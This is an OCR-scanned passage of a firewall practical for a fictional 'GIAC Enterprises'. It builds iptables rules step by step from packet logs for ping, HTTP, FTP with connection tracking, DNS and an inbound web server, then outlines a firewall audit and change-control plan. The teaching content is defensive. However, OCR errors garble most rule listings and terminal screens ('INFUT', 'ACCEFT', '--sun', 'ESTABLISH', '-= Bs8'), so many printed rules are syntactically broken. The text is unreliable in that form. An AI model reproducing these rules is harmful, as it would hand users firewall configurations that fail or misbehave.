packet come from loopback interface, then do the action.” The action “ACCEPT”
mean to let the packet to pass through.

Rule #2 add one rule into the OUTPUT chain. The condition said “if the
packet is leaving out of loopback interface, then do the action.” The action
“ACCEPT” mean to let the packet to pass through.

2.8.10.3. Rule construction by debugging
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iptables provides a great logging facility. We will take advantage of it for
our rule creation process. Before we start then, we enable the logging for
INPUT and OUTPUT chain, so that we know what we should have enabled.
(Make it available just before the chain end and default policy, which should be
DROP, takes place.) We shall call this “Template B”

filter

:INPUT DROP [B:81
:FORWARD DROP [A:A1
:OUTPFUT DROP [B:81

- INFUT -i lo -j ACCEFPT
-fi OUTPUT -o lo -j ACCEFT
-f INFUT -j LOG

-f OUTPUT -j LOG

t Simply comments these rules out
t Use them as a template when necessary

INPUT -p tcp -m tecp --dport 22 --sun -j ACCEPT
INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethd@ -j ACC

INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethl -j ACC

-p udp -m udp -s 127.8.8.1 --sport 53 -d B-8 —-j ACCEFT

"setcs/sysconfigsiptables™ 18L, 5268C
Figure 4. “Template B”

Some explanation of additional rules

Rule # Chain Identification Conditions Action
1 -A INPUT —j LOG
2 -A OUTPUT - LOG

First, do notice that we put it just before the end, so that it is taking place
just before the default policy, DROP, take action.

Rule #1 is added to INPUT chain to LOG every packet that come to test
against it.

Rule #2 is added to OUTPUT chain to LOG every packet that come to test
against it.

Note that when there is no condition such as in this example, any packet
match against this rule always result in the action specified, in this case the
action is to “LOG".

Then, you exit your edit, and restart the firewall. (or use the command
“service iptables restart”)
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root 1#
root 1#
root 1#
root 1#

o IR ICMP packet

root 1 trying to go out
root 1 through ethO to

root 14 the destination
root 14 192.168.3.65

= ; .3.65) from 19 .168.3.78 : 56(84) bytes of data.
OUT=ethBd SRC= A68.3.78 D3T=192.168.3.65 LEN=84 TD3=-BxBA PREC-8x88 TTL-=-64
ID=8 DF PROTO=ICHMP TYFE=8 CODE=8 ID=33ZB9 3SEQ=256
ing: sendmsg: Operation not permitted
IN= DUT=ethB SRC=19Z.168.3.78 D3T=192.168.3.65 LEN=84 TO3=BxBA PREC-8x88 TTL-64
ID=8 DF PROTO=ICHMP TYFE=8 CODE=8 ID=33Z8B9 3SEQ=512
ing: sendmsg: Operation not permitted
IN= DUT=ethB SRC=19Z.168.3.78 D3T=192.168.3.65 LEN=84 TO3=BxBA PREC-8x88 TTL-64
ID=8 DF PROTO=ICHMP TYFE=8 CODE=8 ID=33Z8B9 SEQ=768
ing: sendmsg: Operation not permitted

--- 192.168.3.65 ping statistics —--
j packets transmitted, B received, 1882 loss, time ZBB4ms

[rootBlinux rootl# _

From the above screen shot, you see that the logging is now taking place.
This logging information tells great deal about the packet. Only a few items are
of our interested namely “IN=", “OUT=", “SRC=", “DST=", “PROTO=", and
protocol specific information, in this case “TYPE=" for ICMP protocol.

Given the information, we are now ready to adjust our rule.

filter

:INPUT DROP [B:81
:FORWARD DROP [R:A1
:OUTPFUT DROP [B:81

-A INFUT -i lo -j ACCEFT

-A OUTPUT -o lo -j ACCEFT

-fA OUTPUT -o ethB -p icmp -m icmp --icmp-type 8 -j ACCEFT
-A INPUT -j LOG

-A ODUTPUT -j LOG

Simply comments these rules out
Use them as a template when nmecessary

INPUT -p tcp -m tecp --dport 22 --sun -j ACCEPT
INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethd@ -j ACC

INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethl -j ACC

INPUT -p wdp -m uwdp -s= 127.8.8.1 --sport 53 -d B-8 -j ACCEPT

"setcssysconfigsiptables™ 19L, 578C written

Add one rule to allow that packet to go out.

Rule Chain Conditions Action
# Identification
1 -A OUTPUT -0 ethO —p icmp —m icmp —icmp-type 8 —j ACCEPT
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The condition said “if the packet have “OUT=eth0” and “PROTO=icmp”
and “TYPE=8" then allow the action to happen.”

Please note that most of the time “-p xxx and —m xxx” will be the same.
For now, just remember they can be different. Sometimes, -m can be omitted
altogether, i.e. in case where —p and —m are the same, but | would like you to
make a good practice.

One might think of “-m” to mean “module”. With proper “module”, some
“parameter” can be entered, e.g. the parameter —icmp-type is valid only for
module icmp. Also note that there is single “dash” before —m, but double “dash”
before --icmp-type. By the way, the ICMP type 8 is echo request.

Now, restart the firewall and ping again.

ing: sendmsg: Operation not permitted

-—— 132.168.3.65 ping statistics ---

4 packets transmitted, B received. 18B2 loss. time 3A2Z2ms
An ICMP packet with ICMP
type 0 is trying to get in.

[rootBlinux rootl# service ipt
Flushing all current rules and
ined chains:

'Ba:ZB8:BB:Bc:29:67:dA:34:85:88 SRC=192.168.3.
FREC=8xBd TTL=64 ID=632Y6 PROTO=ICHMF TYFPE-8

; 'Ba:ZB8:BB:Bc:29:67:dA:34:85:88 SRC=192.168.3.
.3.78 LEN=84 TOS5S-8xB8 FREC=8Bx88 TTL=64 ID=63Z7Y7 PROTO-ICMF TYFE=8B
SH729 SEQ=7&8

--- 192.168.3.65 ping statistics —--
j packets transmitted, B received, 1882 loss, time Z2B1Zms

[rootBlinux rootl# _

This time around, we got a different logging message. From the
information above we can adjust the rule accordingly.
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:INFUT DROP [A:A1 .
-FORWARD DROF [@:81 This rule would de_stroy the
:0OUTFUT DROF [B:@1 beauty of stateful firewall

-A INFUT -i lo -j ACCEFT
-A OUTPUT -o lo -j ACCEFT
it Simply rule like the following onegguwould do
-A INFUT -0 ethB® -p icmp -m icmp --icmp-type B -j ACCEPT
it but I love to do the magic
-A INFUT -m state --state ESTABLISH -j ACCEPT
-A OUTPUT -o ethB —p icmp -m icmp W-icmp-type 8 -j ACCEFT
-A INPUT -j LOG

- This rule provide a powerful
it Simply comments these rules out feature of stateful firewall
it Use them as a template when necessary

INPUT -p tcp -m tecp --dport 22 --sun -j ACCEPT
INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethd@ -j ACC

INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethl -j ACC

i INPUT -p wdp -m uwdp -= 127.8.8.1 --sport 53 -d B/8 -j ACCEPT
"setcssysconfigsiptables” 23L, 76BC written 12,19 Top

To adjust the rule according to the previous logging information, we now
have choices. The first one is to simply use the dull packet filtering technique.
Well, surely enough, we do not want that. Instead, we go for the stateful firewall

technique.
Rule Chain Conditions Action
# Identification
1 -A INPUT —m state —state ESTABLISHED —j ACCEPT

This rule can be interpreted as “l don’t care about what protocol the packet
is or what port or what type, if this packet is part of the ESTABLISHED flow, then
| will let the action take place.”

The notion of “ESTABLISHED” flow is powerful, but require some
explanation. Say, in this case, we have already “accept” the request to go out,
thus, the reply, which is part of the flow of communication, should be allowed to
letin. Yes, itis as simple as that!

Now, restart your firewall and you should see that the ping is now
successfully replied. (Please be sure that the machine that you are trying to ping
really exists, otherwise, we do not guarantee the same result!)
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Simply commgnts these rules out
Use them as a template when nmecessary

INPUT -p tcp tep --dport 22 --syn -j ACCEPT
INPUT -p udp udp -= Bs8 --sport 67:68 -d B-8 --dport 67:68

INPUT -p udp udp -= Bs8 --sport 67:68 -d B-8 --dport 67:68

INPUT -p wdp -m uwdp -= 127.8.8.1 --sport 53 -d B/8 -j ACCEPT
"setcssysconfigsiptables™ 23L, 76BC written
[rootBlinux rootl# service iptables restart
Flushing all current rules and user defined chains: [ 1
learing all current rules and user defined chains: [ 1
pplying iptables firewall rules: ip conntrack (256 buckets, 2848
L 1
[rootBlinux rootl# ping 192.168.3.65
PING 192.168.3.65 (19£.168.3.65) from 192.168.3.78 : 56(84) bytes of data.
64 bytes from 192.168.3.65: icmp_seq=1 ttl=64 time=3.58 ms
64 bytes from 192.168.3.65: icmp_ =2 tt1=61 time=0.453 ms
64 bytes from 192.168.3.65: icmp_seq=3 ttl=64 time=0.791 ms

--- 192.168.3.65 ping statistics —--

3 packets transmitted, 3 received, B% loss, time ZBBHms
tt min‘avgs/max/mdev = B.453-1.583-3.585-1.366 ms
[rootBlinux rootl# _

2.8.10.4. Allow HTTP to other machine

Now, let surf some web. This should not be as difficult except that the
protocol will be TCP instead of ICMP.

For our purpose of demonstration, we simply use the program called “lynx”
to test the HTTP connection. In our example, we will assume that machine
“192.168.3.65" is the web server.

Once we launch “lynx” we got the following information showing.

A TCP packet want to go out
to 192.168.3.65 at port 80

5IN= OUT=-ethB SRC=19Z2.168.3.78 D3T=19Z.168.
Ib=8 DF PROTO=TCF SPFT=1BZ8 DPT-=88 WINDOW=5

: T=192.168.3.65 LEN=68 TO5-8xA@ PREC-8xB8 TTL=64
ID=A DF PROTO=TCP SFT-18Z8 DFT=88 WINDOW-5854@ RE3-8xHB S¥YN URGF=8

Exiting via interrupt: Z

[rootBlinux rootl# _

From the above information, we adjust our firewall rules accordingly.
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filter

:INFUT DROP [A:A1
:FORWARD DROP [A:A1
:OUTPFUT DROP [B:81

-A INFUT -i lo -j ACCEFT
-A OUTPUT -o lo -j ACCEFT
it Simply rule like the following one would do
-A INFUT -0 ethB® -p icmp -m icmp --icmp-type B -j ACCEPT
it but I love to do the magic
-A INFUT -m state --state ESTABLISH -j ACCEPT
-A OUTPUT -o eth8 -p tcp -m tep --dport 88 -syn -j ACCEPT
-fA OUTPUT -o ethB -p icmp -m icmp --icmp-type 8 -j ACCEFT

t Simply comments these rules out
t Use them as a template when necessary

INPUT -p tcp -m tecp --dport 22 --sun -j ACCEPT
INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethd@ -j ACC

INPUT -p wudp -m udp -= Bs8 --sport 67:68 -d B-8 —-dport 67:68 -i ethl -j ACC

13,1 Top
Rule Chain Conditions Action
# Identification
1 -A OUTPUT -0 eth0 —p tcp —m tcp —dport 80 --syn —j ACCEPT

A Rule #1 is added to OUTPUT chain, so it will be applied to packet going
out from this particular machine. The considiton said “if a packet want to go out
using ethO and the packet is TCP with destination port 80 (HTTP) and the
packet’s flags SYN,ACK,FIN have been examined to ensure that only SYN flag
set, then let the action happen.”

Note that the special “—syn” means all three flags are examined, SYN,
ACK, FIN, and make sure that only SYN flag, which signify connection
establishment request, is set. In some case, there have been known attack mix-
and-match these flags to the impossible combination, e.g. all three of them would
never been set “on” at the same time. Moreover, this check ensures that only
the connection request is allowed to go out. Once the connection is allowed, the

connection is now in the state ESTABLISHED75, so the response is allowed to
be in as we have already set the rule to allow this to happen.

75 Please note here that the three-way handshaking is not complete yet, because only one
packet has been sent out, however, our firewall record this as an ESTABLISHED connection to
allow the response to come back properly.
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Test Page for the fApache Web Server on Red Hat Linux (pl of 3)
Test Page

This page is used +to +test +the proper operation of the Apache Web
server after ‘it has been installed. If you can read this page, it
means that the #Apache Web server installed at this site is working
properly.

If you are the administrator of this website:

You may mow add content to this directory, and replace this page. Note
that until you do so, people wvisiting your website will see this page,
and not your content.

If you have upgraded from Red Hat Linux 6.2 and earlier, then you are
seeing this page because the default set in
seteshttpdsconf ~httpd . conf has changed. fAny subdirectories which
existed under homehttpd should now be moved to svar/uuw.
filternatively, the contents of svar/www can be moved to ~homeshttpd,
and the configuration file can be updated accordingly.

Hfrnu.kégé: Up-and Down to move. Right to follow a link: Left to go back.
Hlelp OJptions Plrint Glo Mlain screen QJuit /=search [deletel=history list

2.8.10.5. Allow FTP to other machine

While ICMP is simple, only two packet are involved, one in and one out,
the HTTP is more complex, the TCP three-way handshaking has to take place,
then information sent out, then the connection is tear down. The most complex
of all is FTP protocol. There are two connections involves, one for command
transfer and the other one for data transfer. Even worse, there is no specific
arrangement as to what port should be opened to accept the data transfer
connection and who make the connection to whom, client or server.

FTP used to be a headache for firewall administrator, but not anymore.
Here is how we deal with it. First assume that the server “192.168.3.65” is now
our FTP server. Trying to ftp out to that server cause the following screen.
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[root@linux root 1#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
root 1#

ootlRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#

[rootBlinux rootl# A TCP packet want to get
LEhatGLinu; wrolle out to 192.168.3.65 with

[rootRlinux rootl# . .
[rootRlinux rootl# destination port21.and

[root@linux rootls the lag SYN is set

[rootRlinux rootl#

[rootRlinux rootl#

[rootRlinux rootl#

[rootBlinux rootl# ftp 1927

IN= OUT=ethA SRC=192.168.3." = TO3=AxAA PREC=-AxBB TTL=-64

ID=35368 DF PROTO=TCPF SPT-=1838 DPT-21 WINDOW=5848 RE3S=BxBB SYN URGF=8
[rootBlinux rootl# _

filter

:INPUT DROP [B:@1
:FORWARD DROP EB:E]
:OUTPFUT DROP [B:81

-i lo -j ACCEPT
-0 lo -j ACCEPT
Simply rule like the following one would do
-A INFUT -0 ethB® -p icmp -m icmp --icmp-type B -j ACCEPT
but I love to do the magic
INPUT -m state --state ESTABLISH -j ACCEFT
OUTPUT -o ethB -p tcp -m tep --dport 88 -syn -j ACCEPT
OUTPUT -o ethB -p tcp -m tep --dport 21 -syn -j ACCEPT
OUTPUT -o ethB -p icmp -m icmp --icmp-type 8 -j ACCEFT
INPUT -j LOG
OUTPUT -j LOG

Simply comments these rules out
Use them as a template when nmecessary

Rule Chain Conditions Action
# Identification
1 -A OUTPUT -0 eth0 —p tcp —m tcp —dport 21 --syn —j ACCEPT

A Rule #1 is added to OUTPUT chain, so it will be applied to packet going
out from this particular machine. The considiton said “if a packet want to go out
using ethO and the packet is TCP with destination port 21 (FTP) and the packet’'s
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flags SYN,ACK,FIN have been examined to ensure that only SYN flag set, then
let the action happen.”

Now, we should be able to connect to the ftp server.

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@liv root 1#

[root@liv root 1#

[root@liv root 1#

[root@linux root1#

[rootBlinux rootl# ftp 192.168.3.65
onnected to 192.168.3.65 (192.168.3.65).
228 ready, dude (vsFTPd 1.1.8: beat me, break me)
Hame (192.168.3.65:root): root

331 Please specify the password.
Password:

238 Login successful. Have funm.
Remote system type is UNIX.

ging binary mode to transfer files.

root 1#
[root@liv root 1#
[rootB@linux root 1#
[rootRlinux rootl#
[root@linux root1#
[root@liv root 1#
[rootRlinux rootl#
[rootBlinux rootl# ftp 192.168.3.¢ ATCP paCket V\_Iant to go out to
TNt BT O [ i W LIRS e t:  192.168.3.65 with flag SYN set.

228 ready, dude (wsFTPd 1.1.8: be¢ i
Hame (192.168.3.65:root): root Notice the SPT (SOUI’CG pOft) and

331 Please specify the password. DST (deStination port)- They are

Fassword : unpredictable!
238 Login successful. Have funm.

Remote system type is UNIX.

3 »24,164)
IN= DUT=ethA SRC=19Z.168.3. =ypZ.168.3.65 LEN=68 TOS=Bx FREC=-8x88 TTL=64
I[D=35368 DF PROTO=-TCPF SPT-=-1B37 DPT-6388 WINDOW=5348 RES=-8xB8 SYN URGFP=8
IN= DUT=ethd SRC=19Z.168.3.78 D3T=19Z.168.3.65 LEN=-68 TOS=-BxB@ FPREC-8x88 TTL=64
I[D=35368 DF PROTO=TCPF SPT-1B37 DPT-6388 WINDOW=5348 RES=-8xB8 SYN URGFP=8
IN= DUT=ethd SRC=19Z.168.3.78 D3T=19Z.168.3.65 LEN=-68 TOS=-BxB@ FPREC-8x88 TTL=64
I[D=35368 DF PROTO=-TCPF SPT-=-1B37 DPT-6388 WINDOW=5348 RES=-8xB8 SYN URGF=8

There is some LOG entry showing up. Look at the source and the
destination port. That’s why | said it have caused firewall administrator
headache over years, they are unpredictable. One the client connects to the
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server, some application level beyond TCP/IP level arrange the agreement as
to who will be waiting for data transfer connection at what port. So, how do we
deal with this problem? Well, we use stateful firewall feature again, but this time
with an assistant of a special connection-tracking module. Like | said, the
arrangement for data transfer connection establishment is done in the
application level so we need some module that understand that. Right, there is
the separated connection-tracking module written specifically for each of those
application. (And, of course, this kind of module doesn’t exist for all type of
application that make use of separated connection like FTP does. Take ICQ for
example!)

So, we will first modify our state rule what we have allowed only
ESTABLISHED state to also allow the RELATED state. The RELATED state is
just like you tell the firewall to check with the special connection-tracking
module that the outgoing or incoming packets (depends on which chain the rule
is in) is related to the previously ESTABLISHED connection. Take FTP for
example, it is the nature of FTP protocol to have a data transfer connection after
the command transfer connection has been established, so even though the data
transfer connection is entirely new connection, it is RELATED to the previous
command transfer connection.

Now, let modified the state of both rules in INPUT and OUTPUT chain.

filter
:INPUT DROP [B:81
:FORWARD DROP [B:B1]
:0UTFUT DROP [B:81]
Add the RELATED
-A INFUT -i lo -j ACCEFT
-A OUTPUT -o lo -j ACCEFT state
it Simply rule like the following one would/do
-A INFUT -0 ethB® -p icmp -m icmp --icpp-type B -j ACCEPT
t but I love to do the magic
INPUT -m state --state ESTABLISH,RELATEP -j ACCEPT
OUTPUT -m state --state ESTABLISH,RELATED -j ACCEFT
OUTPUT -o ethB -p tcp -m tep --dport 88 --syn -j ACCEPT
OUTPUT -o ethB -p tcp -m tep --dport 21 --syn -j ACCEPT
OUTPUT -o ethB -p icmp -m icmp --icmp-type 8 -j ACCEFT
INPUT -j LOG
OUTPUT -j LOG

t Simply comments these rules out
t Use them as a template when necessary

-A INFUT -p tcp -m tcp --dport 22 --sun -j ACCEFPT
t-A INFUT -p wdp -m wdp -s B8 --sport 67:68 -d B/8 --dport 67:68 -i ethB -j ACC

"setcs/sysconfigsiptables” Z6L, 945C 19,1 Top

Now, before we fire the test again. Let also load the special connection-
tracking module for FTP. | want to show you where the file resides in, so |
search for filename with “ip_conntrack_ftp”.
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[root@linux root 1#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#

[rootRlinux rootl# Insert the module
[root@linux root1#

[rootBlinux rootl# |p_ConntraCk_ftp-
[rootBlinux rootl#
[rootBlinux rootl#
[rootBlinux rootl#
[rootBlinux rootl# locate Ap conntrack ftp

usr/includeslinux/netfilfer ipuvd4-ip conntrack ftp.h
usrssrc/linux-2.4.18-14/include/linuxsmodules/ip connirack fip.stamp
usrssrcslinux-2.4.18-14Fincludeslinux-modules/ip_conntrack_fip.ver
usrssrc/slinux-2.4.18-14-includeslinux-netfilter ipvd-sip _conntrack ftp.h
usrssrc/linux-2.4.18-Y4/net ipvd netfiltersip_conntrack_ftp.c
lib/modules 2.4.18-19rkernel netsipvd netfiltersip conntrack fitp.o
[rootBlinux rootl# insmod ip conntrack ftp

ging ~libsmodulessZ2.4.18-14-kernel/net/ipvds/netfiltersip conmtrack fip.o
[rootBlinux rootl# _

The module is part of the kernel. Let’s load it with the command “insmod”.
You can always check if the module has been loaded by using the command
“Ismod” to list the module loaded.

Now you should be able to use ftp perfectly.

[root@linux rootl#

[root@linux root 1#

[rootPlinux rootls# ftp 192.168.

onnected to 192.168.3.65 (192.168.3.65).

'ZB ready, dude (wsFTPFd 1.1. B beat me, break me)

238 Login successful. Have funm.
Remote system type is UNIX.
ging binary mode to transfer files.

1779 May 24 BZ2:54 anaconda-ks.cfqg
14353 May 24 B2:52 install.log
4896 May 24 B2:51 install.log.syslog

2.8.10.5. Allow DNS query to other machine

We have shown the example of simple ICMP, TCP, complex TCP, now it
is time for UDP. We do have some UDP application in everyday networking
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such as DHCP and DNS query. | think from our template we have already had
the example of DHCP rules. Let's take the DNS query as an example this time.

We'll use “dig” for our demonstration, “nslookup” could also be used if you
would like to.

[rootRlinux rootl#
[rootRlinux rootl#
[root@linux root1#
[root@linux root1#
[rootRlinux rootl#
[rootRlinux rootl#

[rootRlinux rootl#
[root@linux root1# A UDP paCket want to

[rootl@linux rootl# gO out to 192.168.3.65

[root@linux rootluf] at the destination port
[rootBlinux rootl#

[ra6ta] inus rootle 53

[root@liv root 1#

[root@liv root 1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[root@linux root1#

[rootBlinux rootlfdig R192.168.3.65 wwuehacker.com

IN= OUT=ethBA SR . s =192 .168.3.65 LEN=6H TO5=-AxAA PREC=-AxBB TTL=64
ID=A DF PROTO=UDF SFT=-1825 DPT=53 LEN=48

IN= OUT=ethd SRC=192.168.3.78 D3T=192.168.3.65 LEN=6H TO5=AxAA PREC-AxBB TTL=-64
ID=A DF PROTO=UDF SFT=-1825 DPT=53 LEN=48

[rootBlinux rootl# _

From the above information, we adjust our firewall rules accordingly.

filter
:INPUT DROP [B:81
:FORWARD DROP [R:A1

-OUTEDT DRGEtH:gl Adding one rule to allow
“i la -j ACCEPT outgoing DNS request
-0 lo -j ACCEPT
Simply rule like the following“one would do
-A INFUT -0 ethB -p icmp icmp --icmp-type B -j ACCEPT
but I love tojdo the mag
INPUT -m state --stdte ESTABLISH,RELATED -j ACCEPT
OUTPUT -m state ~~state ESTABLISH,RELATED -j ACCEPT
OUTPUT -o ) tcp -m tecp --dport 88 --syn -j ACCEFT
OUTPUT -o h tcp -m tep --dport 21 --syn -j ACCEFPT
OUTPUT -o h udp udp --dport 53 -j ACCEFT
OUTPUT -o h icmp -m icmp --icmp-type 8 -j ACCEPT
INPUT -j LOG
OUTPUT -j LOG

Simply comments these rules out
Use them as a template when nmecessary

Rule Chain Conditions Action
# Identification
1 -A OUTPUT -0 ethO —p udp —m udp —dport 53 —j ACCEPT
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A Rule #1 is added to OUTPUT chain, so it will be applied to packet going
out from this particular machine. The considiton said “if apacket want to go out
using ethO and the packet is UDP with destination port 53 (DNS), then let the
action to take place.”

After you restart the firewall, you will now be able to query the DNS server.

[rootBlinux rootl#
[rootBlinux rootl#
[rootBlinux rootl# dig P192.168.3.65 www.hacker.com

3 £ DiG 9.2.1 £<{>> B192.168.3.65 wuw.hacker.com
:: global options: printcmd
:: Got answer:
->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38878
o Flags:lqr aa rd ra: QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: A

;: QUESTION SECTION:
swww . hacker .com. IN

:: ANSWER SECTION:
W . hacker .com. 864R8 IN 152 .168.3.51

:: AUTHORITY SECTION:
iacker.com. 864R8 IN hacker .com.

;2 Query time: 18 msec

;: SERUVER: 192.168.3.65#53(192.168.3.65)
;2 WHEN: Tue May 27 B3:34:51 ZB83

;2 M3G SIZE rcud: 62

[rootBlinux rootl# _

2.8.10.6. Allow other machine to access to our machine acting as a WWW
Server

So far, we use our machine as the client. You should do some exercise
to let our machine as a server such as HTTP server, FTP server, or even allow
ping to our server. | would not go in to detail of all those, but | will give one of
them as the example. To help you get the idea.

First, you would need to set up this server as a HTTP server (or WWW
server for that matter). | would not show the instruction to do this. For most
Linux server install, however, a simple command /etc/rc.d/init.d/httpd start would
do the trick.

Then try to access the web server from other machine. On the console (of
the server itself), because of our “LOG” rule in INPUT & OUTPUT chain, we got
the following information.
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[rootBRlinux rootl#
[rootRlinux rootl#
[rootRlinux rootl#

[rootRlinux rootl# A TCP packet want to

[rootRlinux rootl# .
[rootBlinux rootl# come In to our server
[rootRlinux rootl# (1921y68370) at the

[rootRlinux rootl# . .
[rootRlinux rootl# destination pOI't 80

[root@linux rootl (HTTP). Also notice that
[root@linux root1# the flaq SYN is set.

[rootRlinux rootl#

root 1 serwvi
Btopping httpd:
Btarting httpd:
MAC=BB:Bc:29\be:8a:28:08:Bc:29:67:dB:34:88:88 SR
PREC=8xB8 TTL=64 ID=14674 DF FRO

MAC=BBA:Bc:29:5e:8a:28:B8:8c:29:67:d8:34:88:88 3RC=192.168.3.65 DST=

; .3.78 LEN-b8 TOS5=-8xB8 FREC=Bx88 TTL=-64 ID=14675 DF PROTO=TCP SPT=1B3Z DPT
=88 WINDOW=5848 RE3-8x#8 3YN URGF-8

IN=ethB 0UT= MAC=BB:Bc:29:5e:8a:28:BB:B8c:29:67:d8:34:88:88 3RC=192.168.3.65 DST=

152.168.3.78 LEN-68 TOS-8xBA FREC-8xHA TTL=64 ID=1467Y6 DF FROTO=TCP SPT=1832 DFT
=88 WINDOW=5848 RE3-8x#8 3YN URGF-8

From the above information, we adjust the rule accordingly.

INPUT DROP [B:81
:FORWARD DROP [B:@1
:0UTFUT DROP [B:81]

-i lo -j ACCEPT
-0 lo -j ACCEPT
Simply rule like the following one would do
-A INFUT -0 ethB® -p icmp -m icmp --icmp-type B -j ACCEPT
but I love to do the magic
INPUT -m state --state ESTABLISH,RELATED -j ACCEPT
INFUT iethd -p tcp -m tecp --dport 88 -guyn -j ACCEPT
OUTPUT : <-state ESTABLISH,RELATED ACCEPT

OUTPUT h tcp tcp --dport 88 /-syn -j ACCEFPT
OUTPUT i -p tcp -m tcp—~cdport 21 /A -sun i ACCEPT

OUTPUT h udp -m udp : :
OUTPUT PRl Add a rule to accept incoming

INFUT -j LOG TCP packet coming to port 80
OUTENT <4106 (HTTP). Do not forget to
TR ST sl  specify that the flag SYN and
Use them as a template when nece 0n|y the ﬂag SYN is set.

-A INPUT -p tcp -m tcp --dport 22 --suyn -j ACCEFPT
"setcssysconfigsiptables™ Z28L, 1861C

Next, restart the firewall, and then test again from the client. The request
should be able to go through.
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Part Ill: Verify the Firewall Policy
3.1. Introduction

This section is about the technical audit of GIAC Enterprises’s primary
firewall to verify that the policies are correctly enforced.

At GIAC Enterprises, we audit our firewall bi-monthly or every time there is
a change in firewall rule. The following are the script that we follows in order to
audit our firewall.

3.1.1. Scan the opening ports on firewall on all NICs
There are three NICs on the External Firewall
There are three NICs on the Internal Firewall
There are one NIC on the every host-centric firewall

3.1.2. Functionality Testing
- This phase concerning whether the access requirements has been

fulfilled).
This phase check the operational function of firewall. The firewalls
are tested to see if it allows the traffic that expects to be allowed to
go through.
In this phase, we test every rules defined in the access
requirements. Currently, we have altogether XXX rules of access
requirements.

3.1.3. Denial Testing
- This phase concerning whether anything other kind of access that
is not explicitly defined in the access requirements are denied.
Check that the packets that are expected to drop are dropped.

3.1.4. Firewall under fire
In this phase, the tolerance level against various kind of firewall
deception or abuse is tested.
Tolerance against DOS such as SYN flood
Tolerance against Fragroute
Tolerance against Xmas Scan. (e.g. SYN & FIN on the same TCP
packet)

3.2. Non-technical approach to rule base implementation
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Before the audit phase, it is important that controls exist to ensure that rule
base is properly implemented based on access requirements. We have the
following control in place during the firewall’s rule base implementation phase.

3.2.1. Separation of Duty

We have separated the task of implementing the firewall rule base into
three functions. These functions are access requirement analyst, rule base
transformer, and rule base implementation.

3.2.1.1. Access Requirement Analyst

The first one is to analyze and prepare the access requirements. After it
has been presented to and being signed by the GIAC Enterprises Information
System (IS) department director, the access requirement is then passed on to
the next person.

3.2.1.2. Rule base transformer

This function involves transforming the access requirement tables into rule
base tables using the following guidelines.

3.2.1.2.1. For every rule involved the INPUT chain, the input NICs e.g.
input=ethO or input=ethl MUST be specified.
3.2.1.2.2. For every rule involved the OUTPUT chain, the output NICs e.g.
output=ethO or output=ethl MUST be specified.
3.2.1.2.3. For every rule involved the FORWARD chains, both the input
and the output NICs e.g. input=eth0 and output=ethl MUST be specified.
3.2.1.2.4. Care MUST be given when there is a special case for example
in our case
3.2.1.2.4.1. VPN Security Gateway's OUTPUT chain MUST be
checked seriously to avoid being the gateway for attacker. Only access
specified by the access requirements are allowed.
3.2.1.2.4.2. Allowing Internal Network to pass through Internal
Firewall to the Internet would allow the Internal Network to access to the

External DMZ as well76. Care MUST be taken because while the access

requirements allow the Internal Network to go to the Internet, it does not
allow the Internal Network to the External DMZ.

3.2.1.2.5. The output tables (in the worksheet) from this phase must be in
the form

Ref | Firewall | Chain | IN Out |Prot |SRC |SRC |DST |DST |Flags | Action
# ID NIC | NIC | Type |IP Port | IP Port
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Before we proceed to the next step, we ensure that all REF number from
the access requirement tables has been accounted for. Descriptions of each
column in the previous worksheet are described below.

Ref # Referring to access requirement reference number
Firewall 1D External Firewall
Internal Firewall
VPN Security Gateway Firewall
External DNS’s Host-centric Firewall
Etc.
Chain Iptables’s chain
INPUT chain
OUTPUT chain
FORWARD chain
IN NIC Input Network Interface Card e.g. eth0, ethl
OUT NIC Output Network Interface Card e.g. eth0, ethl
Prot Type Protocol Type
TCP
UDP
ICMP
SRC IP The source IP of the packets
SRC Port TCP or UDP source ports
DST IP The destination IP of the packets
DST Port TCP or UDP destination ports
Flag e.g. --syn = testing SYN FIN ACK [only SYN must be setin
order for the condition to be true.
Action ACCEPT"’

77 Or REJECT or DROP but we think only ACCEPT is enough because we have
set the default policy to DROP.
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In Retrospect’'s Note

We have actually realized that this problem [stated in 3.2.1.2.4.2] could be
avoid by having one more segment for the External Firewall and leave the
link between Internal and External firewall to only connect those two

devices together.

Internet

External Firewall

External DMZ

Internal DMZ

Figure above show current problem that requires special treatment in
firewall rule base implementation stated in 3.2.1.2.4.2

Internal Firewall

Internal Network

Allow Internal
Network to the
Internet here
and External
DMZ will be the
by-product of
that allow
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Internet

External Firewall External DMZ

Connection Between
Internal & External Firewall

Internal DMZ

Internal Firewall

Internal

Figure above should be ideal and provide strait-forward implementation
of firewall’s rule base. Each segment has it own boundary, unlike the
previous figure where both External DMZ and Internet are on the same

outgoing direction of Internal Network and the Internet.

3.2.1.3. Rule base transformer

From the table above, once completed by the previous step, it is used as
the base for actual firewall rule base implementation. From the information in
the table, the firewall rule base should be constructed straight-forwardly.

3.2.1.4. Change Management

Once the firewall have been implemented successfully, every change
made to firewall must be authorized and signed by the manager of System
Administration Division. After the change, the test is taken based upon the
complexity of the change. Major change made to the firewall rules always result
in the entire test & audit procedure. Minor one is recorded and tests only related
rules.

3.3. Planning the audit

To make an effective audit, we first make a list of all we have to do and
the method in which we shall do it. In this phase, we actually design the auditing
process. Then we create the checklist of what we have to do. Then, we
